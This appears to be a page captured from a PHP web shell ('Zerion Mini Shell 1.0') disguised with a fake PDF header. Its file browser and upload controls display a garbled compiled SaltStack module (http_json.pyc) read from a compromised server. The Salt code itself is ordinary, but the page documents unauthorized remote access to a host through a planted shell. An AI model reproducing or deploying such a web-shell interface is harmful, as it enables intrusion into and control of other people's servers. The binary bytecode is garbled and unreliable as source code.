%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/pillar/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/pillar/http_json.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlmZyddl	m
ZeZ
Wnek
r}eZ
nXeje�Zd�Zed�ZdS(u�
A module that adds data to the Pillar structure retrieved by an http request


Configuring the HTTP_JSON ext_pillar
====================================

Set the following Salt config to setup http json result as external pillar source:

.. code-block:: yaml

  ext_pillar:
    - http_json:
        url: http://example.com/api/minion_id
        ::TODO::
        username: username
        password: password

If the with_grains parameter is set, grain keys wrapped in can be provided (wrapped
in <> brackets) in the url in order to populate pillar data based on the grain value.

.. code-block:: yaml

  ext_pillar:
    - http_json:
        url: http://example.com/api/<nodename>
        with_grains: True

.. versionchanged:: 2018.3.0

    If %s is present in the url, it will be automatically replaced by the minion_id:

    .. code-block:: yaml

        ext_pillar:
          - http_json:
              url: http://example.com/api/%s

Module Documentation
====================
i(tabsolute_importtprint_functiontunicode_literalsN(tsix(tquotecC@stS(N(t_HAS_DEPENDENCIES(((s9/usr/lib/python2.7/site-packages/salt/pillar/http_json.pyt__virtual__>sc
C@s8|jdt|��}d}|r�x�tj||�D]x}|jd�}td|d�}|s|tjd||�iStt	j
|��}tjdj|�||�}q7Wntj
d|�tdd	|d
tdd�}d
|kr�|d
Stjd||�x%|D]}	tjd|	||	�qWiS(u�
    Read pillar data from HTTP response.

    :param str url: Url to request.
    :param bool with_grains: Whether to substitute strings in the url with their grain values.

    :return: A dictionary of the pillar data to add.
    :rtype: dict
    u%su<(?P<grain_name>.*?)>u
grain_nameu
grains.getu#Unable to get minion '%s' grain: %su<{0}>uGetting url: %su
http.queryturltdecodetdecode_typeujsonudictu/Error on minion '%s' http query: %s
More Info:
u%s: %sN(treplacet_quotetretfinditertgroupt__salt__tNonetlogterrorRt	text_typetsubtformattdebugtTrue(
t	minion_idtpillarRtwith_grainst
grain_patterntmatcht
grain_nametgrain_valuetdatatkey((s9/usr/lib/python2.7/site-packages/salt/pillar/http_json.pyt
ext_pillarBs&%
(t__doc__t
__future__RRRtloggingRtsalt.extRtsalt.ext.six.moves.urllib.parseRRRRtImportErrortFalset	getLoggert__name__RRR!(((s9/usr/lib/python2.7/site-packages/salt/pillar/http_json.pyt<module>*s


	

Zerion Mini Shell 1.0